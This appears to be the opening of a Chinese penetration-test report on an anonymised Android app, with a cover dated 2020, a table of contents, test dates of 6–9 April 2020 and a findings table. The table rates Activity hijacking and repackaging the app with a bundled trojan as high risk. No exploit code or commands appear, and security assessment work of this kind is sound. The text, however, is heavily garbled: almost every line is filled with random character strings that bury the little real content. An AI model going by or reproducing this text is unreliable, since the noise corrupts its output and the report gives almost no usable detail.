1 Y p: ]: q7 {5 v1 Z/ G. ]2 o/ `% ~ b6 k: _ Y
8 k, J2 O- r0 h! ?
8 M5 @7 N( R4 q8 |/ B4 ~
: x" T+ h7 v- m: w5 X5 C$ C& ~6 \, {+ v
% X9 Y3 l4 }9 y' n$ L2 f/ _
& ?+ T" s" e6 W* u% u* t' O
! _. ?( ] u6 I; o8 B! j8 T0 M' N* X, V; G. V5 d
4 E' p% c- n5 a. m0 t
. `: z$ y8 F- g8 v* F1 k
文档编号: / o5 D K+ u" V1 f4 f9 D+ m9 P% ^
4 c3 O* N0 g" p2 Y6 r' t
; F/ |, n# k5 _. c5 E; m
* a' b2 Z. o$ b3 c* I5 |1 |" s
. [6 c4 f7 C3 Z' J" x5 Y; R
i, F7 C/ g/ e: Y 6 E: y0 B% {( i/ R
6 {" T' p3 ?" _0 \/ d
( `, R8 r4 t: q4 }& N3 h( p9 |" t* A$ b$ x+ T7 N
1 O, v) h9 g- C0 n
( E8 ~' j% h) J8 N* s ?
& X- T4 i, I( Q3 `- _ a! z
[* G; d9 g! K9 r
* I1 V* t& p1 K3 {& ]5 s
# B$ x0 Z ~' i+ j. f 6 i% i2 a6 c; _; J$ m4 o
7 p# S# B) X2 L* a1 _( [- \7 E 6 D, Q3 G5 x# L7 K% A' d
9 z- I; c2 q U9 F5 ]
$ C' e& U0 G+ K; E- r. v, \8 B% r/ |
7 ^1 A- y9 |2 N; o
4 M- c, U0 F% Y5 S+ G
8 j4 M1 b f" S" V0 C0 X4 _/ Q. N. u0 d" e3 @
1 v1 ]* J r9 D' Y ?% @: S$ Z, l( Z6 Z6 _
) ?4 y. [6 P* v0 {/ h' @ p! Y; X9 c! v% W& o- C
2 d- V, _0 b$ `8 v1 W% H2 a0 L. T, _$ L- I0 J- e1 I
/ ?0 h; o) `7 K9 D, Q
$ H1 }5 V! I8 u4 v6 t
- ^* n" j9 C9 }, K
9 ^* _. |% i1 E3 [& ?8 L! \2 Q 某某某APP渗透测试 7 Q5 H. }. _ L K4 J
. Q7 p. W j& X- U: L0 g
6 t3 V1 O+ |! T% g8 B. x& M- I( _/ f: I5 T3 o
& D8 b3 v; ]( g, ], b% R5 C* M# a3 V( ]2 W
3 G$ V7 T) E V/ D& j. o4 ]& l. \& {% T3 l# n, n. \
6 R* E* O) f2 r: Q. w4 y
+ n. F+ L: S: `( [
. a8 Z% {: d8 s- Q' R
# {5 z2 ^4 P r, L5 s! K) K
) S% n0 k0 ?, E. @# r
) g+ Q, G7 q) w2 X- e, C! x A, I
' k8 s5 Z( ?5 `- g
3 q6 m: L8 o& ^1 L( q; } K- U% H& x& \: S
' z6 A( v% e% W/ B" D" r3 T- H& G1 P, T. Q$ B( e
G8 p) \+ d9 f! [" C% u! W f; b# \1 h# q# @5 j n
6 F, `0 M: v% G1 m" n
/ @* R, d) x% h H& d1 c2 X" K 1 y+ T, e! ^% I) g! L
2 d$ j* c% j4 N$ H/ E! y
/ S2 t1 ?3 }3 g1 [9 A0 e( f& ` Y5 N- X7 @8 `
6 |6 W' c( \7 P
( \& k* y3 [7 D6 {5 \8 W) z
, D! |0 t) q, O% P% @
* Q% D' k0 a6 k7 t) A5 Y' z 技 术 报 告
0 u% [5 r8 U' _# n9 D$ O* G, p' _3 F, p- K; z) N. B: N
& z) ]' L$ L. h. W) q# E6 w9 ? G0 C- C8 ~& R
$ i3 i0 w, @3 ~! x; k
5 H/ M s, }4 Z* b0 { 5 e) A# J6 P) W# u9 t4 H3 A
; ?: Z+ N1 a' v! T" r
, X1 P0 e/ o5 u0 s) t
) G* ]$ T' \& V2 u* Q7 ~- ^4 p! M
; T# S) i2 @, |9 q, W
! J" M1 J( j7 ]3 @% x% u/ P t
+ ~4 z& J S$ n0 \$ l* N2 d; H/ R w! L% A; ~- x* r
% b9 E$ i5 i0 E
, V0 i4 u1 g" \& ?8 `3 e ) | j8 {1 e, A1 U. u/ W" C$ p$ O
) ]( D% v* {, e. V+ z# h
# Y" ^/ i( Q [9 j9 i7 z4 y
+ R+ i% R% E' C. L! N
2 Y9 V0 D* P2 l/ A: V
8 [0 s; Y. T+ Q/ p- n% e- b
7 N0 T( U$ Z9 h3 j+ D3 v6 x! d4 U2 c
5 N# j, Y \6 m6 M, B9 ` ( E* u! y" \3 e) G0 z. V. I
/ \3 B6 q) s3 a5 _9 u
- [ r7 t# G G& n3 b/ C* R1 P7 F, R' b' k
4 o+ T; g! ~) M3 V! R. q& Y% p7 R) t
& @2 E. [; I% n5 R
3 M. F( Y7 y, T- ~4 J6 L% w
3 B5 F+ o4 n2 K( L, |5 x# G
, R: c& K: {- E8 Q! J " _" Z. O; _+ L- x
0 q C! J0 N& z9 j) B6 E
1 W8 H' @/ g- P3 f* a0 d, O5 ^9 d
6 o+ W2 F0 j$ E2 }7 ]+ @1 n
7 Z7 U+ O- g& s# }+ L% O2 x3 S3 H1 h3 Y3 d
+ _2 S. ~5 g5 ^. }
7 `+ {/ L4 y$ x( T0 i
* q: x; [* u+ \- x
* T) i7 x& o d5 D! s' m9 R
4 p9 u6 I2 u$ q' e) d& y+ i/ w% c% w: ?7 t+ o; G
$ Y" ?# F3 \* S: T9 Y' V% q; C
( g8 C3 L" T# ?/ e
" H: g0 H2 W+ K- d' @$ J6 L4 @5 y; o. d p5 b" i
& v# s& j$ f9 t5 N: c* M M7 g" T( n6 v$ d7 P
; o# Z* h8 D/ a$ i0 N0 O6 c+ r# J
F( A2 d W# |5 {+ r
. }* |5 Q1 M2 u# N* u
2 L) C8 d( z. @5 r( g, Z( ?
4 _2 e, h# y% p5 d* v 5 T' b; h' W8 Z. p. L2 `
0 Z& o+ P: q3 y I! d5 \ - X' X1 L$ J& S3 t5 b" c0 l/ B
+ y3 y- l: E( {" @0 C4 L
8 b5 w1 d( ]$ C6 {6 N
* l9 A) y4 H3 n
% Q. B% j8 U3 U2 ]1 `& S8 O+ O3 f; n( z5 Z, I4 H
# t% q: Q' ]2 p' X% w! Q) f2 D4 |9 z
- Y, t. P+ T( l8 K6 o/ M& K! i+ |
/ x, k2 h0 h1 b3 c! Y9 ^* Q
8 B4 ]) Z4 P1 N9 C% m4 @+ Q
6 F9 M" d* l- M; X, x: _2 Y , r. M' r' v) m
( V6 z. g U1 u% F3 O
5 ^4 C3 n2 w; k2 X! ?2 J
( ~" _9 x9 A: w: `9 {$ w( y 1 q& `; l( A: Z1 @% ?/ q& Q
: j) d. H9 ]: J! w, F: _
! O; L3 \1 H( B
# a& R) _) i2 l T. a& S
+ A; c6 W9 p$ k' r4 q. A
$ L+ x% `; o" D% F& m! O. H" Y 3 I6 i9 v' F3 T2 h: J0 J. z! H
) O4 v& A B* D( g+ r1 r1 j
# r. c9 c- z1 P9 ~% H" w- k7 ~3 r
" |+ R2 a2 _- @# W5 U1 |# |
y6 u, z- X" I8 I
( w, U4 X% V# D. _3 _4 j
% [( t4 f; a4 C& s5 t) D, _ ( x$ o& u; d1 C& W! d: r
# m6 h* C* g% w; \6 j
" J! }8 y: D% ]' {
E# V: q* x3 B5 j) J2 x6 T) o; @
; r4 f; M5 X" F4 O
! h2 S, @- K8 y: z 5 G9 i F# S# i: V2 p; _
/ } u, [1 C% I
; v$ Y3 A- Y' k2 L6 Q, ~$ o
: }% I) A/ _- k7 E) F3 h, J+ v
) c4 k5 u) |7 v% [+ R$ d- L* S2 w" Q5 R3 I% ^ b5 i7 I5 S* E
: v' u% N# ~5 ~3 ^
% X0 X. F' b) Q8 t3 t
1 a' N' |$ g. A' Q4 Y1 H+ M8 [
& v5 |# K8 f0 U: J- ^9 }6 n ' |0 c5 z3 B* g
* B) I" T, \( n+ r$ L
( w! U; s' n% b
# Z8 w6 ~) h% t4 l
+ e/ r8 C7 l$ k, v; M$ t
- L& _6 b8 l6 N5 [
1 F! k1 q* p& z& n' `* {( N% s+ q% U7 `0 I3 C
二〇二〇年 . Q9 S, N4 U9 e9 W* L
' T3 ]2 f& f0 u+ Q2 z+ |
I$ M2 k; i! B$ v
6 P; ?! x: a+ C# n2 J
, a$ r$ D: R2 P4 o. _' ?0 t. N _) d; b* e
^! c2 l( k9 ]5 J. G$ r/ r r3 ^1 \- A& A5 j" O; f1 i3 n+ K
; _5 k& v( }6 g! m4 C& [: E9 \; i: D: Y& V
4 H+ v( u$ ]( D2 y
' o" M0 D6 ]% I$ U* D/ W/ @1 |# H
" P1 Y! m9 x' j5 g3 _
9 O- A. P* Y s% ?9 L; L# X
7 c5 e0 a- T' h# B9 c. U
0 U9 y! Q, F' c5 P
! U. `$ M' k. H9 B( }+ r
, s6 P4 G8 {- J1 \1 D2 o
* J) P/ D+ q0 v) ~; ]1 m9 x1 |
% |1 w* ^9 t2 L4 s+ p 3 L7 x) }+ o& Z$ ~! R+ W/ y
8 [" V8 ~4 T: ` A$ E 目 录
* Z& p. n8 j/ |% E! S/ e1 H5 ?# Y; P9 l5 X h2 p
& a& ?& b* K0 A3 w' n
$ b4 h _! C7 ]/ E, u8 s; X
& Q5 `8 a5 o2 L, x8 l4 O
/ |& t' X: Z: I3 ~1 ?
6 l0 j" D6 Q; H& D$ ^! y0 ?( J: x) t2 C! T
, Y' j8 T% D2 b) ~
" h" W3 }. B5 }6 k
$ `% P$ p0 b- a. K$ T
& c9 f2 l7 g. t3 h! o+ u
g* Q2 u% W( J+ R
# ~; e W/ P8 J3 ?) j H& P 1 概述... 3
0 ?. a2 h! M* A( W. U" c, b( |# F
! w2 B/ ~* X9 k. d8 L
1 t% j, l- N) _0 ?
4 e7 I/ n$ x7 V/ s/ r/ ~4 s; _1 _6 }& K9 O
1.2测试时间... 3 3 u; u# o7 F0 Q
0 W" Q9 D! a- i# U( I8 d
, I3 b. l5 J1 V! N4 |+ w+ f# `! |$ \+ q8 c
e: Y5 z3 }9 v- ~$ S
+ V4 [$ ]* b2 ?/ Q/ k 1.3测试对象... 3
8 z g! m: |' {. g! a1 l) x1 Z
& V5 {! C; B) z2 E$ b2 o- ^6 z
8 [- y' w! x- p$ k& {& T0 Q4 e0 u
' Y# d% N2 u6 E! `7 O7 u5 [% L
( }4 t( d8 ^1 W- @1 S1 s- i x" B' z/ D4 `7 }7 L* X& U1 u
1.4测试结果... 3
& V# ` Q- s3 }5 w
6 J# O% g1 l, {) W9 `- V9 L2 v
! K+ l( O# I' T# w
5 h) e- }1 }; n" Y) U9 K2 ]+ b# _
; R5 R- {6 L1 |8 P/ V# I7 S1 w; k- E% U' h0 ?
2 检测结果... 4
7 E7 @! o; z1 F5 a2 R7 _: } n0 r( b a( ]% f i3 n8 h$ o7 F
" A+ w! ?( U9 G% H9 m
2 f/ h4 {9 B- q. ?7 d# R
$ i* j/ ]$ ^7 }* [4 _6 v
4 A) [; C# B4 ?, @& Z
2.1 某某某... 4
; ~3 f4 H( q. B9 N4 [' k2 o4 [( q6 k
1 g5 j. V( O% }0 H9 Z( A
/ H( f; k# f* C0 v8 @: k+ N # T# M% Z: N; S1 `( J3 g }
0 b7 N. u4 X, }) Q; W' z3 P
2.1.1检测目标... 4 3 x- H+ w, R" m% \' m! @3 D# B# Q
1 l# W$ ~) @6 \. K1 F! i
P' b4 P) M! a- h" y# e
M. }9 q9 i- l* ^* v# i
0 j# _! [3 `& B/ A# r
4 k& q3 R' h4 O
2.1.2检测结果... 4
% s: v- t9 [; k8 R) p4 @4 f5 y
Q% A; b. g' q, b9 P7 N
/ q2 |0 |3 ]/ Q' d$ Q: O% g0 A9 K' {7 o; l6 D5 d& V1 b1 K
3 z/ ` H ^; b; }5 T
& L$ f7 l! L2 [" @( Z! d
2.1.2.1. 4
- H; d' v5 S {- v- a$ ]+ s D& Q' Q2 A; S, ~$ \+ d
, Q2 P( _, c% X% y( T
9 [. ~/ z/ b& P" m" r
8 ~7 i$ u6 J+ e: _6 d
' _* } s' |2 M 2.1.2.2. 6 8 V: z* X5 q8 D4 I, G. x
. j7 `! U+ Y2 A9 S' J
1 O3 g8 Z$ C; q1 r! d
6 ?" g7 C7 o4 }0 q1 b6 a( m9 q
4 g* y: ?. o2 o: y0 g8 Y% `$ f3 p$ t6 ~, S, }8 d
$ C }8 t3 D& z. v
0 j$ M! f* \4 ^. |
+ b& r& R* P: S$ m6 f
/ r7 i. I* e; _% I4 ]
4 o) h- h! }8 l/ g2 |5 b6 t0 i- w( u0 h& Y% X2 `: L5 a
' [( l; F& l% b% Q: L6 Y$ G& u- V/ ~# k0 ]
1 M1 ^& @4 `! L
6 z7 N0 @5 j; p" ]2 M + c; h) n# }* s' }
/ h4 P, Z, R" x! x# L: b
' }7 H3 ]* ~9 ^# S$ f/ X
2 o3 q+ P" } Y1 s& M 1 概述 8 n3 J) c. `2 c+ Z
, `" _# Y7 O @( l
$ M5 h4 ^8 H" I! g$ {1 f
" S" _: Y _! q $ I+ q8 E+ N8 a
7 ?5 U, a7 _3 |. t3 E8 |: p! J
1.2测试时间 , c0 S. z0 T K
! c$ x- k! L% u8 I; c# H* R2 b
* R6 S( d1 _6 \+ r) @" x1 K
; A% T, O4 I' @% s0 j" k+ O- F" ]) J
" W& T- }$ O+ J- r
4 {4 s0 ?" o6 d# J( c
. F& c0 Q0 l% g
; F& q. ~9 m a: m - d' Q8 t9 r2 @1 L1 ?
2 q8 i G) P; B6 s
- C+ Z2 {5 M/ ?0 U# @6 t; t1 X
W+ ?* _4 ]; \# o4 `6 t
6 [3 V8 f" o2 _; R. L: q
J, ~1 k6 z/ W 渗透测试时间
6 B- ~4 m! k" U0 S: H' T0 x
! C$ f+ ^- d# L6 Y
5 k' a; ?; F, r9 b! G: M6 n+ \
+ K* r# j4 O- u& r' i) E' N7 M! ^ | ' X# q$ a" K. J. Z/ G' E
: B$ p; F }& g9 i4 B& c
( C, I3 s+ e4 l9 z+ x
( n/ h! a3 m( g: }8 D; \3 } # T6 q4 I$ Q# H% ?& j
# S# A1 I" Y( x9 A, \9 F, D4 o+ D
; I" q+ ?5 N; O" z2 }0 G. u# I
- M6 H! ^8 I, W) s* l
3 u0 t W& n0 z0 n$ s V1 i+ Z$ |$ C5 H. s+ V4 Q R0 C
起始时间
+ O( O6 @, T ~: [" T
2 h4 H4 B2 h" d% ]$ l* ^ ; [* i0 W4 I0 _% @
* d+ Y m- S) b, m2 u7 P! Y
|
* c" s/ L3 w: C+ Z! M/ P% K" L/ `% ^. |% z; y( o# o8 R, T3 D6 ^
( W$ a& b( q; f. N; E1 T
; D! P9 c" V! H
1 b+ E! ]2 l, \5 Q% k
& v$ B/ i$ X& _. d2 \0 ^% `( C 2020年4月6日 & j0 {* t2 y- f* v. Q
$ n: E8 P Q% s' X+ [1 } ! }" ?, A6 d" c1 s4 B; J+ y
/ v( u( |, g" c# [6 ~! w4 m. c |
o8 ~+ b& m6 W. H2 M5 q; L) k
; b: X( B+ O$ P; i8 _/ ~
) p$ B* D9 O; P5 n3 |7 Z
* ^9 U8 ?* r& j+ X: d* ^ 4 Y+ [& I; v6 g1 w4 }! g
, `% B4 B! r1 E$ A! h
( V, W+ W7 Z7 M6 X8 `: D. N1 Y+ [7 h* E. |
% q$ i/ M; t; ~- I( J9 M8 [6 c6 S/ U( G6 W
结束时间 7 P* x5 W8 d8 W$ T9 r( Z/ h, }
0 H2 z- @6 e; t* r# l$ L. S . P, _* W, \0 Y
1 N0 s1 k* V# {% R7 |/ _
| & @8 U4 O" H% D" \/ H& Y; ~
! ~/ B; D0 o. W/ a . v3 A( c& L b
% O; E3 e) X3 R. T' u. T! f
7 X2 {, G9 \2 b
* N2 W" D/ ` }% ^8 x( v9 X 2020年4月9日
& W& T; z) c2 q8 T
( {7 D- i( G/ s' T
* L$ C4 H7 a3 [! c) V& ?
( s6 L0 I S$ O" m | ) w, A) o# G5 |2 c
6 T4 D9 z. B/ `% V
$ C+ q: x* X6 A$ _5 ?* ?' Y" g1 g' H3 |; w, B: j d
2 u& }3 \/ }2 c* {7 x8 o
/ P* w6 p! L5 Z( I3 Z D
2 v' p; |' G$ Q/ u2 q7 }3 l; z
0 `4 n. z& f* _3 x2 T' t: U: F- R ' J( S- m3 t% c& k9 ^$ `- r
7 L7 g$ y$ f; b 1.3测试对象 " E: s8 V, Z z; {8 n
. g# b5 E2 w$ ^" g
2 _# i6 ~" d. V7 `
( E! v) p, \; H0 X( d6 f
. C7 d) j3 T' G0 ^* z' }1 h; U
) o, q y+ x: v( f 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
9 Q ?; ~, |) f4 A
8 f I& ?! Y& f3 F
2 `) a: A# p1 S
0 p8 W: {; h$ V
' ?. t, i# b6 J F9 G: m1 d$ k. K3 X5 b; M+ s
表1-1 检测对象
9 M! r1 e/ Y6 l) n: }. A, ^* T" }! V1 A R% K- K* P* P$ u K5 r
9 j4 z Z* }, {5 ^. b; C
6 ~0 E5 y5 ]8 K. Q1 j / k: g" p4 x+ T' J
' L: o6 C. r8 U
$ ^8 b- O; c9 z* I; p/ a
V; J. r! s: q1 K
2 D; Z2 Y+ z! B0 z0 d9 t: R
, F6 p& @& A# i, P7 F9 [
) v# n- J6 n+ [% v3 V" x/ s: ~5 Q& p: h, X! O9 W
& K X1 L$ g3 a8 U4 l2 u
! u1 g4 G1 H. O/ G4 p- }# p 序号
5 ^7 ~# c, O U9 U
9 s4 x0 j- X9 o# A6 f2 p% Z 4 E# I4 l" E7 ~
; `) |" \2 {4 Y: p
| 6 b) e- O: _; ^0 u9 m6 T7 p
! k) A, S* e& C* R R) f" ]2 O
/ O9 Z$ d4 w, w* A
* I" _2 V+ {2 U# f8 @% ` , l- s. z( |7 b; X/ R
8 K/ {1 _0 x+ L) h4 b. V3 B" e 测试对象 0 q# |8 P8 p( o( v$ \5 l6 x8 G; W
+ x8 x% B% S3 e( `- V9 k v8 f
8 y W# e t7 A
! ]% O- s9 n$ Z9 k# p/ I
|
2 I9 B+ ?% T1 N d+ S3 r: A0 u% S5 R5 y* c
) d2 o- h( s8 u
4 r6 v" J0 M, e$ n& O / C1 Z6 z6 t; C/ r; i- \6 n6 l
8 `* o% n$ A/ h/ _4 X 测试地址 0 D6 V# @4 h. p$ I5 E* {+ Y5 I
6 ~0 U J2 W6 G- i" I
, H' i8 o1 z) ~ m" o$ M+ N9 h2 c6 v/ n S- u" p, o3 _
|
0 a- `2 e( G7 F6 G
5 z* S6 x9 H) h7 |, T4 C
; ~; @0 a! O( i# m
; u9 q, I1 l7 T. I6 i: E; s; s ; y1 C) z1 G- m% P1 h
8 W! d3 g ^3 H1 Q3 m3 d1 G# o 安全漏洞
* c7 k! p G8 N0 w0 n( _7 a4 T
* }% T7 R" q5 M( }- y2 N ; t* O6 g6 T0 V* @5 o& T
7 n5 I. k& A3 m5 M9 B; s
| . T8 b* g5 t6 r2 {
" y; |: M' M$ M7 z1 Z G$ n) U
2 o$ s- O \* d7 b( h+ A: j
{& n: O8 a+ S2 J8 w9 P& S
( S- V, W0 k( G5 b% b
- J# m! E0 Y o! V5 e r4 Z
9 b/ }1 m7 {) b3 N0 f) z$ e g a# @' a
% y4 _, _! ]* Q& N" o( f
9 j1 |- }3 U* R 1 ! z/ Q1 N. t- S
M' I& N( |' s$ M _4 ^
! }6 w4 b8 [) Z( e7 D% \* g, \7 L3 Z, a& X! P3 J
|
7 _; d' m# a; ~8 N2 A, ^- I# n& T: s" V% A" Z a& D: H, U% z& G# L
% m6 \/ A: ]' L* K
) Q) r+ g6 U0 B1 [0 @1 o" n2 r ! L) z3 E! h2 Z- s; }
0 O% c% E+ \$ E5 ~& [- Y6 K& q
某某某安卓APP
5 C" X N7 u( A& u) i7 k7 X! Y& @. C" J2 m, ?
0 q+ [# B4 L- y( k3 H+ I& b
4 S1 |/ ^4 |2 W2 M& K
| % S, q* z- P/ \4 e
; i8 `% {$ I/ v+ J! S & V9 @. a; ]6 Y8 R7 b* l5 v
. f& L5 L" \3 i ' J9 Y5 u5 W4 \: f
4 M7 A8 s1 |9 C! V2 x7 J
% M6 U1 s' l( }5 y2 e
3 c9 a3 ~# a( t! ]) B9 U 7 F6 |/ O- b- j2 j6 C
: }# v9 p4 A% z( U4 {5 X3 W
|
% ?6 t/ S; X$ z0 g3 a5 L3 o' L, O9 e* Z' I* G
2 J; F/ c- D* e4 ]- X) e) @7 J. \. F* S5 w% z' I# u$ ?
# S" k9 @5 J4 A$ ]7 a3 y) l8 w& ]1 i3 A9 d, V' A2 o( E/ P/ i7 W' j
2
6 m- }; h* |5 K( U; d; u7 K
$ O1 }9 i; \: g! E& C ) U: g3 q% l O
! f: ^) X6 J& e7 @; ] | 1 n7 Z- N+ Z+ A5 I) x
) U5 Z7 K' k" i
" {# [5 A3 S& U1 Z. C* s: l* B+ r. M( t: V
8 t" m0 Y$ I7 I
7 _0 V7 g6 |' T4 x8 k
0 C8 Y: @% l1 }) i
( B1 [4 p* ~0 N$ {2 ?
6 M2 X8 [) p! F- p" d' ~
! U X- b3 x2 t 1.4测试结果 ( B, {* g$ G) a b+ l; e" e
/ A4 y! H; _$ g) o8 {: y4 `
8 K4 a- g# e3 p6 f9 H" f, L0 r& _0 F& z6 k
/ `: O& T. M+ `9 n- x1 v) x
' q& s" L8 P4 O 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 0 }3 I& k0 c8 u' m
: p5 T* b* Q6 t* j7 u
) E+ v! M7 @% b
+ C5 r3 K% V$ L( y4 [
" F8 h4 t/ V: E+ k6 w, q% b' O q+ @# e( ~) F V+ m* N4 m
2 f* H" u2 t3 p# {3 d' Q
% I; E9 \2 A& l% v9 k& Z: h
% U& y& C1 S3 M4 l0 p1 Y( ]9 a, I1 A( r0 R$ Q! P
- ]! `. e; W1 V: Y* i! u
1 z7 ~$ K) [6 t9 l% P$ P- r0 I- `
: c$ {" V. ^1 h$ d4 C5 ^) S0 w Z& n8 ^6 W! a: n
1 M6 S0 ~; q+ q# b, d: C
( J S' J9 [$ {% B2 k ; _$ b2 g6 J2 l
; K8 J+ k4 k6 _
5 @: t, [, ?; v! k8 _: z8 K- I
& p: e5 [9 p% Y
; i- ]+ U6 c4 Q) p( I- z 序号 8 S0 Y3 Y5 D9 G* p
+ t& ^$ F) R4 S0 [: B0 v8 f
$ l# F' r( C! k. n' {' |
: C t1 Y# E5 t4 t | 8 d, @2 |3 Q O# S. Q5 M2 Y" R7 ^
9 ?& b. }. [3 ~' o
, F- L( B" D! m* p6 o) O6 J' j* M. l# X" @
4 b0 r+ o q3 u( ^1 g3 I" Z; Q
[* O) B H( o/ H' @ 系统名称
* p5 A$ T. h' a+ C2 ]! o( E; @: z, c, H! W, R
$ w4 i" ^2 q+ q' C( V8 V7 y9 j+ M5 |2 X" |! l3 i. A6 v$ _
|
9 t F- H4 `: f7 }" [9 ^' C% {1 y+ G e
" f- D7 ?9 S# j5 c
& j$ B& E0 T+ X1 R: [+ ]) k y' t4 Z t' j/ s$ _
% c2 P0 `+ [/ i2 Z: e3 U/ Q: m2 l 漏洞名称 4 Q0 W; v" A, _5 X
" o3 n/ O& X- V% \3 b
{( h" T' T- N" m
( }8 [4 R9 s2 n' y |
" ^* O: @ l; W+ n$ P1 I- [! K/ {, X7 q P1 E& y7 X" m3 y
9 T9 l0 f2 |3 E2 }8 ?' ~+ I
( x- P9 w% i' A" J3 {' q% h/ U$ f
4 A3 | E- q) t1 g: [
4 u- @" K7 l3 @4 a4 j7 r# e. m9 o 漏洞危害
/ H- S1 X% N! l/ u9 Y6 g+ q# F9 `- T% p3 J) V: s* a
$ d# V% w* g8 o+ w6 H2 O+ ?3 B e* T8 K% C( L
|
5 Z! d/ A1 ?" E- M! O0 g+ A/ {$ y8 V H5 A, P
e* T" C; X, Q6 U$ H: ?; a$ {5 i; [' L) p& K. B
: ^% v9 G+ O2 K) {# X
$ K. W2 B5 i0 Z8 E% Y 修复结果
: Q& q3 K- \. E8 c
6 ]* g$ l" i" V5 j/ v4 b ; q- B0 P1 d/ I+ j! \
: ?) M" W1 |9 k4 i9 w9 s7 y7 d | ' B, N6 J. p# c
N4 [2 M# t/ P/ ?* y
: b0 q" d7 ^4 _) q# Q+ w- ]2 ?9 j8 q; u
2 J6 E+ G9 a% r
0 J: r+ C6 e, Z+ e4 x
, }$ a( k3 u5 V; S' s' B/ T6 ^( W: X) V7 E) h5 t0 `! d5 [( x
' R& O7 ?( }, D) }8 Z, k- v
9 r1 ^5 h* A6 n' S V: q B
1
. ]5 o7 M6 e% _2 N4 A
1 e% W% [2 n9 l: b ; J" E; q3 u K- b/ x# c
# J4 ~5 ~) w1 v( z& V" l) [ | * `. }) E0 A0 D$ Q* O/ ?0 z4 b$ d& L
+ Q0 ?! H5 P5 l2 x1 h- |! g 8 S/ a; u' r) p5 l/ |
2 k" O. E( O: c- }! V' A 7 W9 q" a" B$ R% b$ }: {: K3 z* ]+ z
0 E' N6 N" z2 T7 G3 b 某某某某某某APP * @1 d/ Y5 i6 _5 @ J9 p
5 H. ^8 k, S l
7 r8 A2 _8 _9 j& Q4 x1 k# G
* L) d$ z' ]7 j5 ~8 o& o9 o S
|
+ F& ~0 q% t! J& Z# x1 E- p% Y
) c: {6 l, \- \: b # {+ B" i' @- B
( U5 ~* f1 _* Q( B" R2 D, W I / h2 d% a: G4 L6 x8 q$ z. \' k( V& n
' w. a" T' [3 c2 L
Activity 劫持
; }& C0 i7 ~$ J/ c2 ?3 Z
% Y4 ], Y9 }7 Q, G4 N ! K: k0 i# R; B
/ i! r% I- W4 t% F9 X& R
& X* x" s) m t
/ _/ \& ]# R. p. ^
4 u( ~' G) u* y/ S7 d& r; r/ H
1 [6 H8 K5 [+ _7 H* l: T1 K, G
2 t) v) I0 i$ [( e T2 U1 v. y* c' {: e* b, ^1 ?0 `3 b
|
* N2 R/ ?1 v/ M/ c# t0 D; Z# n# A6 S7 u
" P/ V4 Z* ]7 k% p
/ ^, x2 f* J; X, w
_7 `, X1 ?+ U. T5 h
! y( c: a0 a# g* w 高
0 A& K, v6 h' W0 D
9 k& V( q) f4 P * d. J% _% W$ u5 X6 q' c8 B3 i
+ h/ ~ u4 B* f2 l |
3 d5 h+ H) H, v; O9 K7 Q
2 v7 |$ [+ _+ U" ]( P ( m4 }6 b3 k2 {/ W
% H% q( D% y- m, e1 g/ ] 4 H: b- p! N* b$ u& `
2 J _9 R( O8 V8 c; r
6 {, x$ k: L+ v* X7 f
0 k1 y& A, b1 \% D. A/ O/ P
4 ~" v u9 Q( d, E" Y5 I
I) ?+ N, `! X: A+ L9 i | s# S1 I2 [$ s
9 ^) B4 \) z( I- f# J: C( i
+ K+ I+ K' o5 f/ M
k' o' x) `+ |+ x
* r( s7 B7 ~/ g3 k7 `& h. w
$ C1 Z+ Y3 K! \; ~. c9 C
( v" o: ~: x; o; u- }+ J, U3 c+ r( j
4 d1 ~# u1 S! a6 x8 z, D) E' ?
" p& _. A0 C0 \ 2 : {7 W1 y4 ?& I% s2 l3 ]0 X
$ H) q7 l/ g k2 y P5 W( Q
, {) s$ a& V, c( E1 y( P* J2 o7 E2 W: T1 p9 T: W i: E5 q3 m
|
7 m! V* Z9 N! l1 u$ C$ a$ V ?6 D ~0 b; N7 I+ Z
p8 d7 s D4 G# ^
( _, `. |3 p! G( {
# Z B) S5 N/ L; H l$ J
, }& j! j* ^ u2 T4 }* J 某某某某某某APP
* P( R! r& w8 Y& H& ^
: F: Q$ q1 V" q: g
! o$ ~7 H$ o q: R9 m" @6 \
0 R2 ?' }: d* K8 N9 @ | 2 A2 l; V' g5 |( Q6 i; K5 O- N
5 h% g7 Z. b# X: J : ^! U: M& M' k$ o0 Y- ^" G& J
. d& X, Q+ g9 Y( {) {7 q 9 V2 h: q0 j k, ^$ _) g
# P+ N7 f; C( O2 L8 G4 n 反编译二次打包捆绑木马、篡改APP代码 2 [: |" t K; k& e1 X2 e
* [; [2 P) n3 \! Z. h( B5 N# n3 A
& d/ l# A I0 B9 e Q4 R, q B1 ]: |0 `; T% D
|
* X2 c( W0 S/ S" M2 a) {- m* Q
Z5 p& l. T5 w' k R. A; M4 _( h ) M% K; c% U2 e+ O1 G
) Q ]8 S1 s/ |" @ j% f1 i7 s( q" o4 f
2 _6 n) o& y7 z5 q% I( V; ?) P 高
6 t- e/ y1 A# i7 X6 K
[' Z1 C K2 x4 v3 { $ f$ N! D- N2 ` ~( e2 i
8 P/ s4 p U* }( L* q0 z0 t9 Y | 1 ]& H6 b- |% W
7 j! c& b4 z! H, D/ ?$ W
7 l+ i. V( z6 f
4 G* w8 `$ d0 f( r
- S2 {/ w! E2 b7 H7 \, U, Z
6 c- c) I% Z0 G
0 @' w3 O0 ^6 i, M5 q$ E4 x6 Z
7 x! k& O8 H% j
0 m$ l8 B9 b' M. v0 I' Z% E
% Z0 o# A( h/ N) U/ e- k+ z | 2 @- N# ]5 C/ ^1 e/ g* }0 y
" n, {& `7 e$ B7 D* T
i+ m* y+ ~: e3 z
/ H* U5 [( \% Q " r- t) P: Z; [0 S" I, y5 e# v
. L* S& s* h O
3 {1 P0 F$ W; s, F- U4 i: i9 T
; G! e8 M$ S4 p( _ M& G) E
# r& _; H( u4 i+ W+ N5 d4 b$ h8 w8 Y% @8 I) l; @) U
: }5 g. g* B C( {& P5 g3 D
+ u ~2 A) r, \! t$ P' L# `" _ & ` j2 a8 y$ d, Y0 O. S
$ B9 J& Y7 s( @6 c
- U% _) g$ J7 V2 @0 I8 V# X
A1 R. O5 M- J( C, E% c& H 9 n. Y' r. |2 {, g X
# F$ v7 ~- g) w3 [
表1-2 测试结果 , {- } k& |+ T/ s J
% W: i" o2 ]. O. k1 ?) j: ]: X: {; V
4 W& Z6 \. U* R5 T
3 n& O, D) ^9 M: B+ Y' I. U
: U- P& P% [# R; n6 i& w1 h1 Y5 J
